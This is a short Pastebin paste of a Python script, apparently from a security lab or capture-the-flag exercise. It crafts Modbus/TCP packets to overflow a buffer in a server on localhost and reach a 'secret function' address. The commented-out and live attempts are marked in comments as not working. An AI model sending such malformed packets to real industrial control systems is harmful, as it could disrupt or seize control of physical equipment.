Advertisement
Guest User

Untitled

a guest
Nov 18th, 2018
200
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.73 KB | None | 0 0
  1. import socket
  2. import struct
  3. import time
  4. from binascii import *
  5.  
  6. HOST = '127.0.0.1' # The remote host
  7. PORT = 1502 # The same port as used by the server
  8. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Establish the connection
  9. sock.connect((HOST, PORT)) # Connect to the server
  10. BUFFER_SIZE=1000
  11. # Construct the malicious packet you want to send to the server
  12. # Please read about the structure of the modbus packets. You may need the following parameters: tid, pid, length, uid, fcode, write address
  13. # number of registers to write, read address, number of registers to read, and content of the registers to be written (payload)
  14. # Use struct.pack for constructing the packet
  15.  
  16.  
  17. # Construct request packet
  18. #test runs
  19. # m= struct.pack('>3H 2B 2H', 0, 0, 6, int(unitId), int(functionCode), int(startRegister), int(numRegister))
  20. # unitId = 16 #
  21. # functionCode = 17
  22. # coilId = 1
  23. # strFormat='>9H'
  24. # req = struct.pack(strFormat, 0,0,6, int(unitId), int(functionCode), 0x00, int(coilId), 0xff, 0x00)
  25. # unitId = 5
  26. # functionCode = 5
  27. # coilId = 256
  28. #rsuppoed to write outside the buffer zone :|
  29. # req = struct.pack('>9bH3B', 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, int(unitId), int(functionCode), 0x00, coilId, 0xf1, 0xf1, 0x02)
  30. # sock.send(req)
  31.  
  32. unitId = 5
  33. functionCode = 4
  34. startRegister = 255
  35. numRegister = 132
  36.  
  37. #starting address of secret function : 0x08048f30
  38.  
  39. # Construct request packet
  40. # supposed to do the overflow :(
  41. req = struct.pack('>3H 2B 2H', 0, 0, 6, int(unitId), int(functionCode), int(startRegister), int(numRegister))
  42. sock.send(req)
  43.  
  44.  
  45.  
  46. # print(req)
  47. # print(struct.unpack(strFormat, req))
  48. # sock.send(req)
  49. # print("TX: (%s)" %req)
  50. # rec = sock.recv(BUFFER_SIZE)
  51. # print("RX: (%s)" %rec)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement